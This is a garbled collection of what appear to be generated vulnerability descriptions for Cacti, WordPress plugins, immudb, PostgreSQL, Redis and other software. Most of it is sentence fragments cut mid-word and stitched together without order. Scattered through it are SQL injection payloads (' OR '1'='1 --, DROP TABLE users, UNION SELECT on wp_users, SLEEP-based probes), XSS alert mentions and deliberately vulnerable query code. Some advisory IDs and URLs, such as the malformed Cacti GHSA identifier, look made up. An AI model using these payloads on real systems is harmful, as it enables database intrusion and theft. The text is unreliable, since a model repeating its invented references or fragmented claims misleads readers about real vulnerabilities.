In the context of Cacti, if an attacker could control the 'poller\_id' parameter in the 'poll\_for\_data' action, they could inadvertently execute arbitrary code specified by the attacker, achieving Remote Code Execution (RCE).

The attack would involve sending a crafted request to the 'poll\_for\_data' action in the 'poller\_id' parameter, which calls the 'proc\_open' function with the attacker-controlled parameter 'id'. This would allow the attacker to inject arbitrary shell commands into the 'proc\_open' function call, potentially leading to a privilege escalation or RCE if the service has insufficient input validation.

To exploit this vulnerability, an attacker would need to find a way to control the 'poller\_id' parameter, such as by injecting it into a query string or through a user-controlled input field.

The specific advisory for this issue can be found at: <https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-3e4e8e56a80a7cd867cf2db52b>

(GHSA-2023-07-1596148)

This exploit could lead to various consequences, such as data theft, system compromise, or denial of service (DoS) attacks.

An attacker would need valid credentials or another way to bypass authentication first. This exploit has been recently discovered or patched.

• API endpoint fails to sanitize properly, thereby gaining unauthorized read access to the database.

expected commands.

ially exposing all products in the database. Keeping in mind best practices, parameterized queries or pr

be leveraged to gain further access.

| the WordPress database, potentially leading to data corruption, loss, or the manipulation of site cont

ment function. Since the plugin doesn't verify if the request was intended by the user (no CSRF token | module files being processed by MPXJ.

| to a breach of confidential project information or other sensitive data contained within the schedules

• unavailability for other users, creating a denial of service condition. Without specific user privileges, | service.

; to a denial of service condition on the affected system.

or integrity compromise.

cal access to the system, to discover the specified password by observing the processes and their respo  
r could easily identify and retrieve it, potentially compromising the database.

usage pattern rather than a flaw in the software.

or attackers who can list the system processes.

means of securing the stored credentials.

y could access the admin console with full privileges, potentially allowing for data theft, data manipulat  
S.

erate bug.

ystem.

ord using the reset password feature, thus securing their accounts.

ds on other services if the victims have reused their passwords, which could lead to unauthorized access  
IA issues (XWIKI-19869 and XWIKI-19945).

ifier input in a way not anticipated by the system's normal input validation.

xploited and does not affect the immudb server itself, only the immudb client SDKs.

fied transaction would be processed. It's important to note that this type of attack would require the c  
·m5jq-mrh8, a vulnerability description at <https://github.com/codenotary/immudb/tree/master/docs/>

he attacker to extract information, such as user credentials or confidential documents, from the databa

d concatenated into the SQL query without proper sanitization or parameterized queries, which opens  
base or disrupt its integrity.3. Exploiting the vulnerability to gain access to the underlying database sc

:compromise the integrity, confidentiality, and availability of the data stored in the database.

imeter without proper sanitation\$query = 'UPDATE categories SET some\_field = some\_value WHERE id  
nmands are safe and malicious input is not executed.4. Escaping Input: If parameterized queries are n  
[x0.github.io/2018/09/06/AeroCMS-v0.0.1-SQLi%20update\\_categories\\_sql\\_injection/](https://github.io/2018/09/06/AeroCMS-v0.0.1-SQLi%20update_categories_sql_injection/)

\_sql\_injectin/

intended condition:SELECT \* FROM posts WHERE category\_id = 0 OR 1=1 -- This modified query may  
n control over the database.

ents or stored procedures for database access as they can prevent SQL injection by design.5. Employ a

retrieval of all posts or other unintended database actions.

turn all the rows in the 'posts' table, because the condition '1'='1' is always true, effectively bypassing a  
ming it with resource-intensive queries.

· deleting data.

database.

ability and possibly proof-of-concept code or technical analysis.

ollow secure coding best practices.

d what is perceived to be a legitimate immudb server instance.

issue has been patched in the mentioned versions as Metabase has restricted the ability to issue Data  
lity to execute Java code, as H2 is a Java-based database and supports executing Java code within SQL.

recommending users to update to Apache Linkis version 1.3.0, which is not affected by this vulnerability  
code on the system where Apache Linkis is running.

system. However, an abstract example without actual payload would look similar to a standard JDBC U

ty audits and adhering to secure coding best practices can also help in preventing such vulnerabilities.

Model: sequelizeClient.models.message }});app.use('/messages', models.messages);app.service('m  
-related attacks. A common attack scenario might involve an attacker injecting SQL commands to dum  
orts to execute arbitrary SQL statements. By default, this permission is reserved for users with the Adi

if database content, and in severe cases, complete site takeover.

is before 4.6.1, where output from Showdown wasn't encoded or sanitized, allowing for the execution  
bility information.

he `alert` function, demonstrating the execution of arbitrary JavaScript.

up being something like: `SELECT * FROM users WHERE username = '' OR '1'='1' --` and the password is  
properly sanitize this input, the SQL command will execute, and the attacker may gain unauthorized ac

able to change the logic of the SQL query and potentially access unauthorized data.

ommands such as: `EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'x`

privacy.

sion cookie. Example code snippet:

```
function(doc, req) { ... return { headers: { 'Content-Type': 'text/ht' }}
```

This cannot be practically shown, but it would be a simple HTTP GET request to the vulnerable endpoint where the issue was present in versions prior to 1.0.0-beta.13.

Within secrets and configmaps being exposed through the Kubernetes' envFrom field, especially in a pri

database tables, leading to corrupted data, misinformation, or increased load on the system, resulting

quent logins. As there are no code examples provided, the exact technical implementation details of su

t proper sanitization, the injected SQL code could be executed, leading to unauthorized database acce

llication without proper credentials.

o prepared statements or parameterized queries.

<https://intel/vulnerabilities/id/f170379e-e833-42e0-96fd-1e1722a8331c?source=cve>.

lined here. The UseShellExecute being set to false limits the attack vector to adding arguments rather than command-line switches.

agement systems: <https://www.cisa.gov/news-events/alerts/2023/11/30/multiple-vulnerabilities-affect-us-court-s-it-infrastructure>.

ntials = { user: 'admin', password: 'password'};// Function that creates a backup and stores it in an inse

ient could manipulate data within the metadata database, leading to possible tampering with authent missions, roles, or other critical authentication or authorization configurations, potentially giving the at should also be part of a comprehensive defense strategy.

base.

thing-slider#file23. A detailed vulnerability report by Wordfence: <https://www.wordfence.com/threat>. As a result, the modified query could potentially return more data than intended. This could compromise the integrity and confidentiality of the WordPress site.

4d47-808d-2b803369d53a?source=cve.

If the injection is successful, and the attacker can proceed to fine-tune their payload to exfiltrate data.

ored database passwords, allowing them unauthorized access to sensitive data within the ManageEng  
on disclosures.

/ of the business process managed by COMOS.  
· might intercept the connection to perform a man-in-the-middle attack to gain access to the data in tr  
vity for any unauthorized access attempts. Applying vendor-supplied patches or updates that address

precise code example.

ious activities could involve exfiltrating data for fraud, identity theft, or providing a foothold for more malicious actions. For example:

```
executeQuery(query);```In this example, if an attacker provides a string like '2023-11-14'; DROP TABLE eve
```

to use parameterized queries or prepared statements to prevent SQL injection attacks. The attacker may also alter or delete critical data to either create a business disruption or cover

records, or commanding the server to execute system-level commands if the permissions allow.

of database entries or unauthorized administrative actions being performed without the admin's consent. For example:

```
document.forms[0].submit();</script>```In this hypothetical example, if an admin is logged into 'vulnerable'
```

returning all user profiles.

hance, setting the `id` parameter in the URL to a value like `0' OR '1='1` would alter the logic of the SQL query, especially if it has connections to other systems or services.

inauthorized access.

it with queries. The lack of authentication requirements for exploiting this vulnerability makes it especially dangerous.

atabase privileges of the application.

execute further malicious SQL commands.

```
RE month = '$month';// $month is not sanitized before being used in the SQL query.$result = mysql_q
```

can also be exploited in automated attacks by bots that seek out vulnerable sites and exploit them without user interaction.

```
;:$gender = ""); DROP TABLE users; --";' This would result in the application building and executing a ha
```

ttacks.

ation}```The code sample above demonstrates the vulnerability by directly inserting the 'email' parameter. An attacker could also potentially use the SQL Injection to gain a foothold within the application's hosting environment.

ons.5. Using the compromised application as a foothold for further attacks within the same network or across different networks.

icious filename that includes SQL commands, which the application would execute without filtering, thus allowing the attacker to gain full control over the database.

data.

rn all the users in the database, signifying a successful SQL injection attempt.

```
'form-data; boundary=-----sampleboundaryContent-Length: length-----
```

otos WHERE id = '1' OR '1'='1';', potentially exposing all entries in the photos table.

gin as any user or retrieve the entire list of usernames and passwords in the database if the backend SQL database is vulnerable to SQL injection.

cation or retrieve sensitive information from the database.

```
d='admin' OR '1'='1'; -- 'The 'OR '1'='1' is always true, effectively bypassing the authentication mechani
```

```
--``This SQL snippet could potentially bypass authentication checks when injected into a vulnerable SC
```

within its databases.

ack surface could be via posts, comments, or any area where shortcodes can be injected by users with

attack might look something like appending to a legitimate API call: 'api\_version=5.0.3' AND SLEEP(5)--  
QL injection.

ervice disruption or other harm to the affected organization.

, or take other actions that could compromise the integrity, confidentiality, or availability of the data a

s or modifying web page content.

cation/x-www-form-urlencodedid\_verified=' OR '1'='1--``The SQL payload ' OR '1'='1-- is designed to a

oing, making it possible to alter the query's logic by inputting SQL commands through the 'balance' for

ntire list of users and their balances. This could result in unauthorized access, data theft, or destruction.

nd database is set up to interpret '1=1' as a true condition for every row.

records without knowing the specific phone number.

d result in data loss or corruption.

Identify and address potential security issues.



sent and code review to identify and fix similar vulnerabilities in the system. 5. Monitor and audit database logs for suspicious activity.

a. Using the example attack, the query would become: `SELECT * FROM users WHERE email = '' OR '1'='1`

ack surface.

etting database permissions, to limit the potential damage of a successful injection attack.

tring that ends the original query and starts a new one, leading to an SQL injection vulnerability similar

: software, and the steps taken by the vendor to address the issue.  
operation.

each an internal network segment.

t in the database.

WHERE destination = " OR '1'='1';`This query could return all the records from the `bus\_routes` table.

d with the search functionality.

to the 'date' parameter in order to bypass authentication or retrieve sensitive information. privileges within the hosting environment.

The value of the 'date' parameter is not sanitized and is directly interpolated into the SQL query, making it vulnerable to SQL injection.

query by injecting malicious SQL code.

Given the unauthenticated nature of the vulnerability, these attacks can be performed without any form of legitimate user interaction.

This results in the unauthorized disclosure of all entries in the queried database table.

There is no explicit validation step to check if the email address is valid.

```
result = mysql_query($sql);
```

In this example, if the attacker sets the 'subject' parameter in the URL to `

ll always evaluate as true, and the '--' sequence comments out the rest of the SQL statement, thus trick  
e available and adhere to secure coding best practices to prevent similar vulnerabilities in the future.

acter within their request.  
tem.

arious other SQL codes could be executed by the attacker.

| phishing attacks.

'OR '1'='1' --' to trick the database into revealing sensitive information.  
e information.

s.

slideshow results...}add\_shortcode('wp\_image\_slideshow', 'process\_slideshow\_shortcode');``In the at

)M wp\_users"], where the attacker tries to extract usernames and passwords from the site's user table

[.com/threat-intel/vulnerabilities/id/b4accf10-710e-4cba-8d61-04e422324f9d?source=cve](https://www.com/threat-intel/vulnerabilities/id/b4accf10-710e-4cba-8d61-04e422324f9d?source=cve)

ite's database.

abase.

SQL query returning all records from the 'table'. This is a simplistic example used to demonstrate the c

[https://wpvulndb.com/vulnerabilities/2985497/up-down-image-slideshow-gallery#file1](#) - <https://www.wordfence.com/threat-intel/>  
Executing unauthorized queries, leading to data disclosure or unauthorized data manipulation.

act data or perform other unintended actions on the database.

Vulnerability was published on October 31, 2023.

Cause: Improper handling of user inputs and inadequate SQL query preparation.

[https://wpvulndb.com/vulnerabilities/38-2fc6-41af-bd39-12af92dc6533?source=cve](#)

ELECT NULL, username, user\_pass, email FROM wp\_users WHERE '1'='1'] This would result in an attacker to execute arbitrary SQL commands, potentially allowing them to extract sensitive information from the database.

Attackers could use this vulnerability to gain access to user credentials, or even data manipulation. Since the attack requires authenticated access, it could be carried out by an attacker who has already gained access to the website.

[https://wpvulndb.com/vulnerabilities/1b0?source=cve](#)  
Cause: Improper sanitization of user input. The code is vulnerable because it does not properly sanitize the user input before executing the SQL query.

also lead to database command execution, which can severely impact the confidentiality, integrity, and availability of data.

Pass the intended functionality and execute a UNION SELECT to retrieve usernames and passwords from the database. Reference - <https://www.wordfence.com/threat-intel/vulnerabilities/id/01d31d8a-4459-488a-9cbe-92761fa>

If sensitive information from the database.

In this example, an attacker with subscriber access could enter something like `[shortcode id="1 OR 1=1; DROP TABLE users;`

Even though the actual attack vector might be more complex and guarded against simple UNION attacks.

, leading to data loss.

infrastructure.

uthentication, making it more critical to address.

in constructing a SQL query without any filtering or validation. An attacker could exploit this by providi

`R '1'='1'` to manipulate the SQL query and potentially access or modify sensitive data in the database.

/ user with access to the application's interface where the vulnerable parameter is used.

ing malicious input designed to alter the SQL statement, leading to execution of unintended command

ive information such as user details, financial records, or confidential art gallery data.

ery(\$conn, \$query);```In this example, if '\$fnm' is not properly sanitized and contains a value such as '1'

ords.

Manager system and its managed networks.

act sensitive information from the database.

credentials or personal data, leading to unauthorized access or data breaches.

ents ...}```In the above example, the `'\$user\_input` parameter used in the SQL query isn't sanitized or p

g sensitive information in the database.

&sfph\_email=&sfph\_mail=- A Wordfence threat intel vulnerability report: <https://www.wordfence.com/>

--', effectively injecting additional SQL commands to manipulate the database. By using this method, t

ted systems.

s exposed to the internet.

The database user used by the plugin.

Replace `http://example.com/` with the target website's URL and craft the actual SQL injection based on

has network access to the vulnerable WordPress site.

Extract sensitive information from the database.

This vulnerability exposes sensitive information to attackers and can compromise the integrity of the affected website. Attackers can steal personal data, assume control of user accounts, or engage in further attacks using the stolen credentials. Moreover, periodic security reviews and audits of website code, especially third-party plugins, should be conducted. The plugin's GitHub repository (<https://plugins.trac.wordpress.org/changeset/2980553/panorama-360-virtual-tour-builder-lite#file1>) contains a note about this vulnerability, stating: "This vulnerability poses a severe security threat to the affected WordPress sites, and addressing it should be prioritized." It is recommended to update the plugin to the latest version or use an alternative one to mitigate this risk.

reducing its availability.

physical security measures protecting the network hardware.

, or deleted, and causing a partial denial of service.

TP response would be immediate. By observing these response times, the attacker can infer the data |

vulnerable component where the SQL injection could be performed.

s SQL code.

o delete the table containing all the election data (if the system were not properly secured and the SQL injection was successful, this could lead to identity theft or other forms of fraud).

In the platform's database, the likelihood of an external malicious attack exploiting this vulnerability is low.

Authentication or authorization checks.

Output authentication if the vulnerable function is exposed and accessible remotely.

other sensitive data, without directly viewing the data (hence 'blind').

/indows system, potentially gaining full control.

.Actual Query: SELECT \* FROM leaves WHERE id = 1 OR 1=1;

↳ detected and resolved prior to deployment.

```
stmt->bind_param('i', $age); // 'i' denotes that the $age variable is an integer
$age = $_POST['age']; // As
```

ame}' AND password = '{\$\_POST['password']}'; // The resulting query would be: // SELECT \* FROM user WHERE name = 'John' AND password = '{\$\_POST['password']}';  
↳ Following the development process to identify and mitigate common security vulnerabilities. Regular security

rameter.'''

ing to a command like: ``sqlSELECT \* FROM users WHERE first\_name = 'admin' --' AND last\_name = 'an

te the query and retrieve sensitive information.

issues.4. Denial of Service: Executing time-consuming SQL queries could overburden the system, causi

and send the user's cookies to the attacker's server.

n actions on their behalf.

mised server.

ield:'OR '1'='1' --, leading to disclosure of sensitive data or manipulation of database information.

ase deleting the 'users' table.

les, leading to significant disruptions and potential data loss.

users, cookies being stolen, or sensitive information being disclosed without the users' knowledge.

jection attacks, examples would vary greatly depending on the structure of the application and database.

the SQL database.

SQL injection is particularly severe.

rise if the application has elevated database permissions.

takeover of the affected application.

the attacker could overwrite critical files leading to app malfunction or data loss. For example, if there

such as data theft, modification, or destruction. This scenario stresses the importance of securing sensitive

making it vulnerable to SQL injection attacks. An attacker could manipulate the 'search' parameter in the URL to disrupt database functionality, or use the access as a stepping stone to carry out a more significant attack.

/cve/CVE-2023-4813, [https://bugzilla.redhat.com/show\\_bug.cgi?id=2237798](https://bugzilla.redhat.com/show_bug.cgi?id=2237798), <https://security.netapp.com/>.

stem configuration, making code examples specific to the scenario.

g system.

. For instance, an attacker could use a statement like `` OR '1'='1'; DROP TABLE users; --` within an input field to leak sensitive user data to the attacker.

, it could lead to SQL injection vulnerabilities, where attackers could modify the 'selection' variable to

dcoded credentials found in CVE-2023-39420.

d potentially leading to data theft, unauthorized system access, or further exploitation within the network.

ion of sensitive data which should ideally be restricted by the ACL rules.

king, or other malicious activities.

ded for production, it could lead to more severe issues affecting the confidentiality and integrity of the

entiality and integrity of the data stored in the databases and potentially allow unauthorized actions to

access to, compromising the confidentiality and integrity of sensitive data.

aining access to the database credentials stored within.

assword check.

and can configure the data source path in Cacti.

in without their consent or stealing session cookies and other sensitive information.

tp://<HOST>/cacti/data\_templates.php` and append a script tag with JavaScript code in the name field

orized actions carried out on behalf of the admin user.

purposes.

nistrator without their knowledge.

ual malicious scripts would be designed to perform actions more harmful than a simple alert and woul

min.php`.

controlled by the script.

sources.php` script.

.php` will have the malicious script executed in their browser.

AWT4AWNMO7DU73QXWPXTCKH/- <https://lists.fedoraproject.org/archives/list/package-announce@>

\Injection%281%29.md'.

ile, because there is no escaping or use of prepared statements, an attacker could manipulate the 'page\_id' parameter and escalate privileges within the WordPress application.

ocommerce-pdf-invoice-ajax.php?rev=2935371#L712 - The Wordfence vulnerability database: <https://wordfence.com/vulnerabilities/woocommerce-pdf-invoice-ajax.php?rev=2935371#L712>

al operation of the site, leading to a denial of service.

the vulnerability in place, an attacker could modify 'post\_id' in the POST data to something malicious like a post ID that exists in the database but has been deleted.

after logout but before its expiration.

the session until its original expiry, provided they are made without triggering a cache-miss that seeks to reuse the configured session timeout since the user's logout.

uthorized use until the session timeout is reached.

es/GHSA-f4r5-q63f-gcww- Fedora Project Mailing List Archive: <https://lists.fedoraproject.org/archives/>

ed in version 1.3.7 of the platform.

:ially leading to targeted attacks or information gathering about users.  
er a specific email is registered on the network, thereby enhancing user privacy and security.  
ttacks, or to attempt account access by guessing passwords or exploiting other vulnerabilities that ma

manipulating workflows or accessing sensitive data, until the session eventually expires. The lack of a mechanism to automatically expire sessions can lead to prolonged access.

Related attacks like Denial of Service (DoS) or the compromise of underlying server systems. This can expose sensitive user data or other critical information stored in the database.

Due to the nature of SQL injection, the specific attack vector would depend on the structure of the application. Due to the nature of SQL injection, the specific attack vector would depend on the structure of the application.

An attacker could craft a malicious input field to trick the system into executing unintended database commands.

controls.

s on behalf of the user.

uld result in data breaches, operational disruptions, or a stepping stone for deeper network penetratio

ileges of the bootstrap superuser.

ommands, leading to the injection.

tion to execute a query that retrieves all records from the users table.

Exploit this by providing input such as '0' OR '1'='1 to manipulate the query and retrieve all messages.

original SQL query.

database.

execute the injected code, leading to data breaches or loss of data integrity.

being concatenated directly into the SQL string, allowing for injection of arbitrary SQL by an attacker.  
e database.

ails would depend on the application's code and database setup.

:commands to manipulate the database, extract sensitive information, or even drop tables, leading to d

sult in the execution of the DROP TABLE command on the database.

delete data), and in some cases, issue commands to the underlying operating system.

2.

code on the server, depending on the database's configuration and permissions.

e unauthorized queries, which could lead to data theft, corruption, or unauthorized administrative acti

use would always evaluate as true, exposing all the report jobs data. This can lead to unauthorized dat

atabase.

/ Handle SQL Exception}'''In this code, `schedule\_editor\_input` takes input from the user without sanit

ess and other potential security issues.

zed input from the userquery = "SELECT \* FROM users WHERE username = '" + user\_input + "'" # Unsanitization of user input can lead to security vulnerabilities, such as SQL injection, or availability of the application's data.

:true.```This is an example of unsanitized input being concatenated directly into a SQL query, which could lead to security vulnerabilities, such as SQL injection, or availability of the application's data.

!, disrupt services, or use the compromised system to launch further attacks within the network.

ation.

sitive information.

</security/advisories/GHSA-8hx6-qv6f-xgcw>

↳ vulnerability at [https://software.open-xchange.com/products/appsuite/doc/Release\\_Notes\\_for\\_Patc](https://software.open-xchange.com/products/appsuite/doc/Release_Notes_for_Patc)

shape the intended directory and possibly execute arbitrary SQL commands against the database.  
:y and the data contained within.

manipulation, or further exploitation depending on the database privileges available.

o return all user data, such as: '' OR '1'='1'; SELECT \* FROM users; --''. Executing this command could re'

hout specifics about the point of injection, only generalized examples can be provided.

make unauthorized changes to database contents that may go undetected by the system's users or administrators.

The admin submits the form, thus exfiltrating sensitive data from the server.

on if the `userLabel` contains HQL/SQL control characters or commands.

1.19.2.

orized access to restricted areas of the system.

'archives/list/package-announce@lists.fedoraproject.org/message/TDNNH2ONMVNBQ6LUIAOAGDNF

ng session cookies, defacing websites, or redirecting to phishing sites.

makes it especially dangerous as it remains effective until the stored payload is removed from the storage.

and discussions regarding the vulnerability and possible fixes or patches.

An attacker could also redirect users to a fraudulent website, or modify the contents of the web page. An attacker could also redirect users to a fraudulent website, or modify the contents of the web page.

act data from SonicWall's databases.

ection if the database response is delayed.

obtaining data without needing valid credentials.

<https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TDNNH2ONMV>  
r executing arbitrary code.

es the email of the user account to be deleted.

snippet, if an HTTP GET request is received with a parameter named 'deleteEmail', it directly executes :

đ page.

plex, aiming at data extraction, modification, or database schema discovery.

the database, make unauthorized changes, or even perform destructive actions, such as dropping tables.

Packet Storm Security may also contain information on this vulnerability:- <http://packetstormsecurity.c>

system. Without providing a specific code example for security reasons, it involves manipulating the SQL query to include a statement that could potentially drop a table when executed.

In a SQL query, the attacker might gain access to sensitive database contents or manipulate database data.

[https://www.exploit-db.com/wp-content/themes/exploit/exploit/search/exploit/index.php?exploit\\_id=a1fadba1-674f-4f3d-997f-d29d3a887414&source=cve](https://www.exploit-db.com/wp-content/themes/exploit/exploit/search/exploit/index.php?exploit_id=a1fadba1-674f-4f3d-997f-d29d3a887414&source=cve)

atabase. This information could then be used for further malicious activities, including unauthorized access to the database.

API.

id of attack would indicate the application is vulnerable to Time-Based SQL injection.

se to return private data.

further escalation of privileges or attacks, depending on the nature of the information exposed and the

mory.

:the database's security.

§ user credentials or sensitive file data that the MOVEit Transfer system manages.

n the organization's security posture.

re system.

d be speculative and potentially misleading.

with different 'SET ROLE' commands. The vulnerability enables users to potentially read or modify data controls are crucial for compliance and privacy.

or inlining, an incorrect policy can be applied, thus permitting data access or modification that should not be allowed. For example, consider the following query:

```
CREATE FUNCTION f() RETURNS trigger AS $$
BEGIN
 NEW.data := 'trusted';
 RETURN NEW;
END;
$$ LANGUAGE plpgsql;
```

If an attacker can create or leverage a security definer function in this manner, they could potentially perform actions such as inserting data into a table that is only accessible by a user with a specific role, or modifying data using a trigger that only applies to a specific role. This could lead to data corruption or loss of integrity.

sing the entire database system.

ggreSQL patches or updates that address CVE-2023-2454 and apply them promptly to mitigate the vulnerability.

inating the presence of exploitable SQL injection.

in the database.

ectly concatenated into the SQL query without any escaping, making it possible for an SQL injection to

name=&new=2910898%40ldap-login-for-intranet-sites%2Ftrunk&old=2903294%40ldap-login-for-intranet%2Ftrunk

1 -- '. This exploitation can lead to unauthorized database access or manipulation.

the disclosure of sensitive information from the database.

s in their browser, which can lead to actions being performed without the administrator's consent or knowledge.

!023-0695, and actual exploitation attempts may vary in complexity and approach.

also advisable.

half.

ss.

o extract a list of usernames and passwords from the WordPress database.

irio assumes an uncommon setup where passwords are changed post-deactivation.

ions associated with the affected database.

1.4), 2022.1.5 (14.1.5), and 2023.0.1 (15.0.1), and has been reported to have been exploited in the wild

d availability of the application.

An attacker could potentially input something like '0 OR 1=1' into the 'post\_id' parameter to manipulate

[re/apps/details?id=com.cuiet.blockCalls](#).

g the user from using the app and thus effecting a persistent denial of service.

android.weather.

not promising the Android device's overall security.

details?id=com.icoolme.android.weather.

keyboard.

not detail the method of exploitation, but it typically involves manipulating or injecting code into the d

igned to handle, leading to an OOM error and a subsequent crash.

it handling.

remedies.

njection and potentially exfiltrate sensitive data from the Xibo database.

ized SQL commands that can compromise the database by reading, altering, or exfiltrating data. This task requires authenticated access, it might involve scenarios where a user's account is compromised (e.g., password reset link) or a system administrator has gained unauthorized access.

SA-g9x2-757j-hmhh- Xibo Signage Security Advisory Blog Post: <https://xibosignage.com/blog/security-SA-g9x2-757j-hmhh/>

basic tracks and cause inconvenience or impact any professional service relying on the app.

ire` compares the user-provided signature with an expected HMAC signature byte by byte. An attacker

y.

nied.

ding of the exact upgrade procedures and how they interact with index names.

rary code.

: attack is part of a more sophisticated attack chain.  
vulnerability.

: of the service account under which the database operations are performed.

d access to rows for a specific department, the user could edit or remove it to access data from all dep

data that may aid in further attacks.

manipulate the database as intended.

as sufficient privileges.

on the server, thereby exploiting the vulnerability.

vulnerability. To exploit the Time Tracker vulnerability, the attacker would similarly construct POST para-

tive ICS/OT data and the integrity of the industrial control systems.

n or destruction.

uthorization.

'search\_term' parameter is directly echoed without sanitization or escaping, which could allow an attacke

ender"> <param name="sql" value="INSERT INTO logs (message) VALUES (?)" /> <param name="Colu  
operly escaped or parameterized when interfaced with the SQL database through Log4cxx.

ttacker could potentially access the database directly, bypassing the application's security controls, and gain full control over the system.

Please report this vulnerability to the affected vendor and do not disclose exploit code to the public.

After gaining access, an attacker could use the compromised account to launch further attacks within the network.

Attackers could also use the compromised account to gain access to other software and associated data.

The Sage 300 MS SQL database. With such access, an attacker could manipulate records or execute commands on the database to alter data, disrupt operations, or escalate their privileges to system administrator level. They could also use the compromised account to launch further attacks within the network.

Attackers could also use the compromised account to gain access to other software and associated data.

le execution vulnerabilities, however, the specific code or attack methods would depend on the system

malicious activities such as data theft, data manipulation or pivoting to other systems interconnected with the target system.

the database and potentially the host system.

pplets involve string interpolation with user-supplied input without validation or sanitation, leading to injection attacks.

controls, possibly leading to a full system compromise.

User-provided values that are directly concatenated into the `query` string without any sanitization, lead to SQL injection attacks or execute other malicious operations against the backend database systems.

Some mitigation strategies include:

for execution.

```
.databases WHERE name = %s', (db_name,))'''
```

etical snippet, an attacker could manipulate the `db\_name` parameter to alter the SQL query, resulting in allowing attackers to execute any SQL command, leading to a complete compromise of the database's integrity.

lable and directly concatenated into the SQL query without proper sanitization or use of parameterized queries.

ganization running the vulnerable database instance.

ervices or the SpiceDB Operator.

extract the preshared key and potentially gain unauthorized access to the gRPC API.

figurations set up for your Vitess cluster.

keyspaces can still be administered using the CLI and a workaround exists, it's less likely to allow furthe

nal settings return 0;}```In this simplified example, if 'initscr()' processes malformed data from a terminal, it may extract sensitive information from the memory of the setuid process.

ends on the construction of the plugin's endpoints and the attacker's method of exploiting this vulnerability.

it orders.

a server, giving them remote access to the server environment and the ability to execute arbitrary code on the server.

```
dapQuery = "(&(uid=" + username + ")(userPassword={password}))"``Injection attack:``username = ge
odon: https://github.com/mastodon/mastodon/blob/94cbd808b5b3e7999c7e77dc724b7e8c9dd2bde
d network position to potentially read sensitive application traffic.
```

in containers across the cluster.

:ails. An example of the log error might look like this: ``Error: Failed to start pg\_dump: pg\_dump: not fo

ntended query logic, causing unauthorized actions such as deleting a table. Please note that this is a h  
l loss to a complete compromise of database integrity.

uch as data theft or modification.

eds from the database connected to that webpage.

base.

ause would always be true, leading to potential unauthorized access to data, while the '--' comments o

?-d353b2a5cbd8?source=cve

modify or delete data or execute administrative actions on the database, depending on the level of dat:

efore more vulnerable. Then, the attacker might gain unauthorized access to the user's account on the

ups. These could contain personal, confidential, or proprietary information.

```
r = single_date.strftime('%Y-%m-%d') url = f'http://example.com/backups/backup-{date_str}.tar.gz'
```

cks attempting to crack them, which could lead to accounts being compromised if successful.

which should otherwise be restricted.

tion or to compromise the website's integrity and data confidentiality.

network.

[com/redis/redis/security/advisories/GHSA-x2r7-j9vw-3w83](https://www.cisa.gov/ncas/alerts/com/redis/redis/security/advisories/GHSA-x2r7-j9vw-3w83)

vention from other malicious activities or to fulfill part of a multi-step attack strategy.

flawed Blowfish hash that's in the password database due to the vulnerability \$userInput = 'somePass1

would trick the application into returning all records from a database table.

ssed by the compromised 'course-update.php' script.

: the victim realizing it.

: e users about the risks of CSRF attacks.

:ials and the application itself.

: who previously accessed the app on the device. These passwords could then be used to log into other accounts. Any recommended steps for users to protect their accounts.

query. This would allow an attacker to potentially authenticate as the 'admin' user without needing a password for the user, or extract confidential records from the database.

s or automated log analysis tools.

get database to add a \_t discriminator.

to arbitrary code execution.

) crack.

:;</data></graphml>```Please note this is a hypothetical example meant for illustrative purposes and a

ious user to escalate their privileges within the database system.

```
QL query construction vulnerable_query = "SELECT * FROM products WHERE name LIKE '%{}%'".form

·level access to the system or other systems within the organization.
```

grity of the industrial processes managed by the APROL system.  
accessibility, and the motives of the attacker.

rivileges within the system.

ng the issue: ``sqlString query = "SELECT \* FROM users WHERE username = '" + userInput + "' AND pas

ficant disruptions to the application's functionality and data integrity.  
database.

itive areas of the database or related infrastructure.

j-897aa690210c&downloaditemid=866d7d3c-aae9-438d-87f3-17aa040df90b.

ce been mitigated by introducing a character limit.

ing, and other malicious activities.

ing the details of the export trigger.

the attacker to bypass any other layers of defense, such as file permissions or antivirus software. Access to authorized personnel would also be important steps in mitigating this risk.

<https://github.com/keepass/feature-requests/2773/>.

-memory storage.

5977: <https://github.com/redis/redis/security/advisories/GHSA-mrcw-fhw9-fj8j>  
y to send commands to the Redis server.

quest)``In this example, if the `username` is coming from an untrusted source and contains CRLF chara

security risks if the RTLS is used to track valuable or sensitive items.

:curity reasons and typically do not include code examples.

base.

nt like 'ORDER BY 1; DROP TABLE users;' to attempt to delete crucial database tables.

ita center.

swords from the users' table due to improper escaping of the 'orderby' parameter, allowing for additio

;

o function correctly.

ncial fraud or further system compromise using leaked credentials.

The exact nature of the crafted requests would depend on the application's implementation of Ransac

/ser.

er cluster.

of the service.

sitive information or corrupting data. This could eventually lead to the attacker gaining higher privileg

tions are performed on the database, like extracting confidential information or altering critical system

:ing an important table within the database. This represents a typical SQL injection attack facilitated by

ry)# ...handle the results``In this example, the lack of input validation and sanitization allows an attack  
the attacker could modify or destroy data, leading to disarray in the HR system, financial losses, or a fu

browser interprets the JavaScript alert as part of the page, executing it and displaying an alert box. Thi

r could modify database procedures to include a shell command execution, or manipulate existing dat:

est-gallery-update-options&addCountS=1 OR 1=1-- In this example, 1 OR 1=1 is the malicious input wh

ustom-fields-with-and-without-search.php HTTP/1.1Host: vulnerable-wordpress-site.com...other head

ally leading to the leakage of sensitive data from the website's database.

site compromise depending on the data affected and the structure of the database.

t as a string rather than part of the SQL command. The failure to correctly escape the 'cg\_deactivate' a

entially dropping the 'gallery\_images' table:```sqlINSERT INTO gallery\_images (image) VALUES ("; DROP

site's user table.

acker requires author privileges, they would likely need to first compromise an existing author's account from the website's database.

ng to SQL injection vulnerability.

he impacted plugins.

n attacks and leak sensitive information from the site's database.

ation from the site's database.

information.

mation from the website's database.

nation disclosure.

tion stored in the site's database.

to execute arbitrary SQL commands, leading to data leaks or database manipulation.

the WordPress database.

proper sanitization, leading to potential SQL injection if an attacker sends a malicious payload through the

rs;--This could result in unauthorized manipulation of the database, such as deleting the users' table if

breach.

snippet of how the vulnerability could be exploited: POST /path/to/vulnerable/plugin/order-custom-fil o 19.1.5.1, the payload would inject SQL commands that could extract sensitive information from the i

the database.

```
tState($db, $outletID); echo $outletState;} else { echo 'Error: No database connection';}?>``In this s
```

uch more complex queries designed to stealthily siphon data or cause disruption.  
works and routine monitoring for unusual activities should be conducted to detect potential exploitat

de Execution (RCE) on the server.

